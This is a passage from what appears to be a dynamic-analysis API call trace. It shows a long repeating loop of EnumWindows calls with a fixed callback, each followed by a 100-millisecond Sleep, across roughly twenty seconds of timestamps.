(lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.083] Sleep (dwMilliseconds=0x64) [0272.161] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.162] Sleep (dwMilliseconds=0x64) [0272.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.255] Sleep (dwMilliseconds=0x64) [0272.332] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.333] Sleep (dwMilliseconds=0x64) [0272.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.380] Sleep (dwMilliseconds=0x64) [0272.488] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.489] Sleep (dwMilliseconds=0x64) [0272.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.583] Sleep (dwMilliseconds=0x64) [0272.677] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.678] Sleep (dwMilliseconds=0x64) [0272.820] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.821] Sleep (dwMilliseconds=0x64) [0272.911] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.912] Sleep (dwMilliseconds=0x64) [0272.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0272.989] Sleep (dwMilliseconds=0x64) [0273.083] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.084] Sleep (dwMilliseconds=0x64) [0273.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.176] Sleep (dwMilliseconds=0x64) [0273.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.271] Sleep (dwMilliseconds=0x64) [0273.364] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.365] Sleep (dwMilliseconds=0x64) [0273.474] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.475] Sleep (dwMilliseconds=0x64) [0273.583] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.585] Sleep (dwMilliseconds=0x64) [0273.661] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.662] Sleep (dwMilliseconds=0x64) [0273.708] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.709] Sleep (dwMilliseconds=0x64) [0273.801] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.802] Sleep (dwMilliseconds=0x64) [0273.991] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0273.993] Sleep (dwMilliseconds=0x64) [0274.068] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.069] Sleep (dwMilliseconds=0x64) [0274.145] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.146] Sleep (dwMilliseconds=0x64) [0274.224] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.225] Sleep (dwMilliseconds=0x64) [0274.301] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.302] Sleep (dwMilliseconds=0x64) [0274.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.380] Sleep (dwMilliseconds=0x64) [0274.457] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.458] Sleep (dwMilliseconds=0x64) [0274.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.536] Sleep (dwMilliseconds=0x64) [0274.613] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.614] Sleep (dwMilliseconds=0x64) [0274.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.708] Sleep (dwMilliseconds=0x64) [0274.801] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.802] Sleep (dwMilliseconds=0x64) [0274.880] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.881] Sleep (dwMilliseconds=0x64) [0274.957] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0274.958] Sleep (dwMilliseconds=0x64) [0275.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.036] Sleep (dwMilliseconds=0x64) [0275.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.161] Sleep (dwMilliseconds=0x64) [0275.240] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.241] Sleep (dwMilliseconds=0x64) [0275.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.317] Sleep (dwMilliseconds=0x64) [0275.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.395] Sleep (dwMilliseconds=0x64) [0275.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.505] Sleep (dwMilliseconds=0x64) [0275.599] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.600] Sleep (dwMilliseconds=0x64) [0275.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.661] Sleep (dwMilliseconds=0x64) [0275.724] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.725] Sleep (dwMilliseconds=0x64) [0275.817] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.820] Sleep (dwMilliseconds=0x64) [0275.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.911] Sleep (dwMilliseconds=0x64) [0275.991] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0275.993] Sleep (dwMilliseconds=0x64) [0276.068] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.069] Sleep (dwMilliseconds=0x64) [0276.177] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.178] Sleep (dwMilliseconds=0x64) [0276.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.255] Sleep (dwMilliseconds=0x64) [0276.379] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.381] Sleep (dwMilliseconds=0x64) [0276.482] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.484] Sleep (dwMilliseconds=0x64) [0276.557] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.558] Sleep (dwMilliseconds=0x64) [0276.640] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.642] Sleep (dwMilliseconds=0x64) [0276.722] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.723] Sleep (dwMilliseconds=0x64) [0276.814] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.815] Sleep (dwMilliseconds=0x64) [0276.878] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.879] Sleep (dwMilliseconds=0x64) [0276.927] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0276.928] Sleep (dwMilliseconds=0x64) [0277.020] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.021] Sleep (dwMilliseconds=0x64) [0277.107] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.108] Sleep (dwMilliseconds=0x64) [0277.191] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.192] Sleep (dwMilliseconds=0x64) [0277.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.270] Sleep (dwMilliseconds=0x64) [0277.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.364] Sleep (dwMilliseconds=0x64) [0277.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.442] Sleep (dwMilliseconds=0x64) [0277.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.567] Sleep (dwMilliseconds=0x64) [0277.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.661] Sleep (dwMilliseconds=0x64) [0277.739] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.740] Sleep (dwMilliseconds=0x64) [0277.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.817] Sleep (dwMilliseconds=0x64) [0277.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.911] Sleep (dwMilliseconds=0x64) [0277.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0277.989] Sleep (dwMilliseconds=0x64) [0278.052] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.053] Sleep (dwMilliseconds=0x64) [0278.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.114] Sleep (dwMilliseconds=0x64) [0278.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.208] Sleep (dwMilliseconds=0x64) [0278.286] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.287] Sleep (dwMilliseconds=0x64) [0278.363] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.364] Sleep (dwMilliseconds=0x64) [0278.489] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.490] Sleep (dwMilliseconds=0x64) [0278.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.567] Sleep (dwMilliseconds=0x64) [0278.629] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.630] Sleep (dwMilliseconds=0x64) [0278.738] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.739] Sleep (dwMilliseconds=0x64) [0278.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.817] Sleep (dwMilliseconds=0x64) [0278.911] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.912] Sleep (dwMilliseconds=0x64) [0278.988] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0278.989] Sleep (dwMilliseconds=0x64) [0279.066] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.066] Sleep (dwMilliseconds=0x64) [0279.160] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.161] Sleep (dwMilliseconds=0x64) [0279.240] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.240] Sleep (dwMilliseconds=0x64) [0279.316] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.316] Sleep (dwMilliseconds=0x64) [0279.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.395] Sleep (dwMilliseconds=0x64) [0279.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.504] Sleep (dwMilliseconds=0x64) [0279.567] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.568] Sleep (dwMilliseconds=0x64) [0279.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.629] Sleep (dwMilliseconds=0x64) [0279.707] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.707] Sleep (dwMilliseconds=0x64) [0279.786] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.787] Sleep (dwMilliseconds=0x64) [0279.957] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0279.958] Sleep (dwMilliseconds=0x64) [0280.051] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.052] Sleep (dwMilliseconds=0x64) [0280.137] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.139] Sleep (dwMilliseconds=0x64) [0280.217] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.218] Sleep (dwMilliseconds=0x64) [0280.288] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.289] Sleep (dwMilliseconds=0x64) [0280.367] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.368] Sleep (dwMilliseconds=0x64) [0280.474] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.475] Sleep (dwMilliseconds=0x64) [0280.549] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.550] Sleep (dwMilliseconds=0x64) [0280.604] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.605] Sleep (dwMilliseconds=0x64) [0280.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.691] Sleep (dwMilliseconds=0x64) [0280.769] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.770] Sleep (dwMilliseconds=0x64) [0280.849] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.849] Sleep (dwMilliseconds=0x64) [0280.926] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0280.927] Sleep (dwMilliseconds=0x64) [0281.004] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.004] Sleep (dwMilliseconds=0x64) [0281.164] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.166] Sleep (dwMilliseconds=0x64) [0281.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.271] Sleep (dwMilliseconds=0x64) [0281.348] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.348] Sleep (dwMilliseconds=0x64) [0281.441] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.442] Sleep (dwMilliseconds=0x64) [0281.535] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.536] Sleep (dwMilliseconds=0x64) [0281.630] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.631] Sleep (dwMilliseconds=0x64) [0281.735] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.737] Sleep (dwMilliseconds=0x64) [0281.815] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.816] Sleep (dwMilliseconds=0x64) [0281.909] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0281.910] Sleep (dwMilliseconds=0x64) [0282.005] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0282.006] Sleep (dwMilliseconds=0x64) [0282.105] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0282.106] Sleep (dwMilliseconds=0x64) [0282.188] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0282.189] Sleep (dwMilliseconds=0x64) [0282.269] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0282.270] Sleep (dwMilliseconds=0x64) [0282.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0282.676] Sleep (dwMilliseconds=0x64) [0282.832] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0282.833] Sleep (dwMilliseconds=0x64) [0282.925] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0282.926] Sleep (dwMilliseconds=0x64) [0283.021] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.022] Sleep (dwMilliseconds=0x64) [0283.113] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.114] Sleep (dwMilliseconds=0x64) [0283.207] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.207] Sleep (dwMilliseconds=0x64) [0283.271] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.271] Sleep (dwMilliseconds=0x64) [0283.333] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.334] Sleep (dwMilliseconds=0x64) [0283.566] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.566] Sleep (dwMilliseconds=0x64) [0283.661] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.662] Sleep (dwMilliseconds=0x64) [0283.754] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.754] Sleep (dwMilliseconds=0x64) [0283.848] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.849] Sleep (dwMilliseconds=0x64) [0283.910] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.911] Sleep (dwMilliseconds=0x64) [0283.973] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0283.974] Sleep (dwMilliseconds=0x64) [0284.076] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.077] Sleep (dwMilliseconds=0x64) [0284.176] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.177] Sleep (dwMilliseconds=0x64) [0284.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.271] Sleep (dwMilliseconds=0x64) [0284.348] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.348] Sleep (dwMilliseconds=0x64) [0284.427] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.428] Sleep (dwMilliseconds=0x64) [0284.504] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.505] Sleep (dwMilliseconds=0x64) [0284.628] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.629] Sleep (dwMilliseconds=0x64) [0284.724] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.725] Sleep (dwMilliseconds=0x64) [0284.848] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.849] Sleep (dwMilliseconds=0x64) [0284.927] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0284.928] Sleep (dwMilliseconds=0x64) [0285.007] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.008] Sleep (dwMilliseconds=0x64) [0285.119] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.120] Sleep (dwMilliseconds=0x64) [0285.225] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.226] Sleep (dwMilliseconds=0x64) [0285.343] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.344] Sleep (dwMilliseconds=0x64) [0285.426] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.426] Sleep (dwMilliseconds=0x64) [0285.520] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.521] Sleep (dwMilliseconds=0x64) [0285.615] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.615] Sleep (dwMilliseconds=0x64) [0285.691] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.692] Sleep (dwMilliseconds=0x64) [0285.848] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.849] Sleep (dwMilliseconds=0x64) [0285.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0285.942] Sleep (dwMilliseconds=0x64) [0286.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.036] Sleep (dwMilliseconds=0x64) [0286.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.130] Sleep (dwMilliseconds=0x64) [0286.223] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.224] Sleep (dwMilliseconds=0x64) [0286.297] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.298] Sleep (dwMilliseconds=0x64) [0286.333] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.334] Sleep (dwMilliseconds=0x64) [0286.395] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.396] Sleep (dwMilliseconds=0x64) [0286.490] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.491] Sleep (dwMilliseconds=0x64) [0286.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.583] Sleep (dwMilliseconds=0x64) [0286.677] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.678] Sleep (dwMilliseconds=0x64) [0286.770] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.771] Sleep (dwMilliseconds=0x64) [0286.879] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0286.879] Sleep (dwMilliseconds=0x64) [0287.020] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.021] Sleep (dwMilliseconds=0x64) [0287.111] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.113] Sleep (dwMilliseconds=0x64) [0287.192] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.193] Sleep (dwMilliseconds=0x64) [0287.271] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.272] Sleep (dwMilliseconds=0x64) [0287.348] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.349] Sleep (dwMilliseconds=0x64) [0287.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.426] Sleep (dwMilliseconds=0x64) [0287.505] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.506] Sleep (dwMilliseconds=0x64) [0287.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.583] Sleep (dwMilliseconds=0x64) [0287.659] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.661] Sleep (dwMilliseconds=0x64) [0287.751] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.753] Sleep (dwMilliseconds=0x64) [0287.863] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.864] Sleep (dwMilliseconds=0x64) [0287.956] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0287.958] Sleep (dwMilliseconds=0x64) [0288.045] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.046] Sleep (dwMilliseconds=0x64) [0288.129] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.130] Sleep (dwMilliseconds=0x64) [0288.243] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.245] Sleep (dwMilliseconds=0x64) [0288.284] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.285] Sleep (dwMilliseconds=0x64) [0288.348] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.349] Sleep (dwMilliseconds=0x64) [0288.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.426] Sleep (dwMilliseconds=0x64) [0288.503] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.504] Sleep (dwMilliseconds=0x64) [0288.582] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.583] Sleep (dwMilliseconds=0x64) [0288.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.676] Sleep (dwMilliseconds=0x64) [0288.764] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.765] Sleep (dwMilliseconds=0x64) [0288.862] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.864] Sleep (dwMilliseconds=0x64) [0288.941] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0288.942] Sleep (dwMilliseconds=0x64) [0289.035] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.036] Sleep (dwMilliseconds=0x64) [0289.128] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.129] Sleep (dwMilliseconds=0x64) [0289.210] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.211] Sleep (dwMilliseconds=0x64) [0289.292] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.293] Sleep (dwMilliseconds=0x64) [0289.579] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.580] Sleep (dwMilliseconds=0x64) [0289.673] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.675] Sleep (dwMilliseconds=0x64) [0289.762] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.763] Sleep (dwMilliseconds=0x64) [0289.838] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.840] Sleep (dwMilliseconds=0x64) [0289.945] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0289.947] Sleep (dwMilliseconds=0x64) [0290.032] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.033] Sleep (dwMilliseconds=0x64) [0290.107] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.108] Sleep (dwMilliseconds=0x64) [0290.180] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.181] Sleep (dwMilliseconds=0x64) [0290.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.255] Sleep (dwMilliseconds=0x64) [0290.301] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.302] Sleep (dwMilliseconds=0x64) [0290.394] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.395] Sleep (dwMilliseconds=0x64) [0290.486] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.488] Sleep (dwMilliseconds=0x64) [0290.576] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.578] Sleep (dwMilliseconds=0x64) [0290.646] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.648] Sleep (dwMilliseconds=0x64) [0290.725] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.726] Sleep (dwMilliseconds=0x64) [0290.803] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.804] Sleep (dwMilliseconds=0x64) [0290.855] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.856] Sleep (dwMilliseconds=0x64) [0290.911] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0290.912] Sleep (dwMilliseconds=0x64) [0291.004] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.005] Sleep (dwMilliseconds=0x64) [0291.104] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.105] Sleep (dwMilliseconds=0x64) [0291.175] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.176] Sleep (dwMilliseconds=0x64) [0291.270] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.271] Sleep (dwMilliseconds=0x64) [0291.347] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.348] Sleep (dwMilliseconds=0x64) [0291.425] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.426] Sleep (dwMilliseconds=0x64) [0291.489] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.490] Sleep (dwMilliseconds=0x64) [0291.581] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.582] Sleep (dwMilliseconds=0x64) [0291.675] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.676] Sleep (dwMilliseconds=0x64) [0291.894] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0291.895] Sleep (dwMilliseconds=0x64) [0292.003] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.004] Sleep (dwMilliseconds=0x64) [0292.082] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.083] Sleep (dwMilliseconds=0x64) [0292.169] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.170] Sleep (dwMilliseconds=0x64) [0292.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.255] Sleep (dwMilliseconds=0x64) [0292.338] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.339] Sleep (dwMilliseconds=0x64) [0292.413] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.415] Sleep (dwMilliseconds=0x64) [0292.492] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.493] Sleep (dwMilliseconds=0x64) [0292.568] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.570] Sleep (dwMilliseconds=0x64) [0292.624] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.626] Sleep (dwMilliseconds=0x64) [0292.660] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.661] Sleep (dwMilliseconds=0x64) [0292.739] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.740] Sleep (dwMilliseconds=0x64) [0292.816] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.817] Sleep (dwMilliseconds=0x64) [0292.981] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0292.982] Sleep (dwMilliseconds=0x64) [0293.067] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.068] Sleep (dwMilliseconds=0x64) [0293.170] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.172] Sleep (dwMilliseconds=0x64) [0293.254] EnumWindows (lpEnumFunc=0x1e83dd0, lParam=0x610000) [0293.255] Sleep (dwMilliseconds=0x64) [0293.331] EnumWindows (lpEnumFunc=0x1e83dd0, 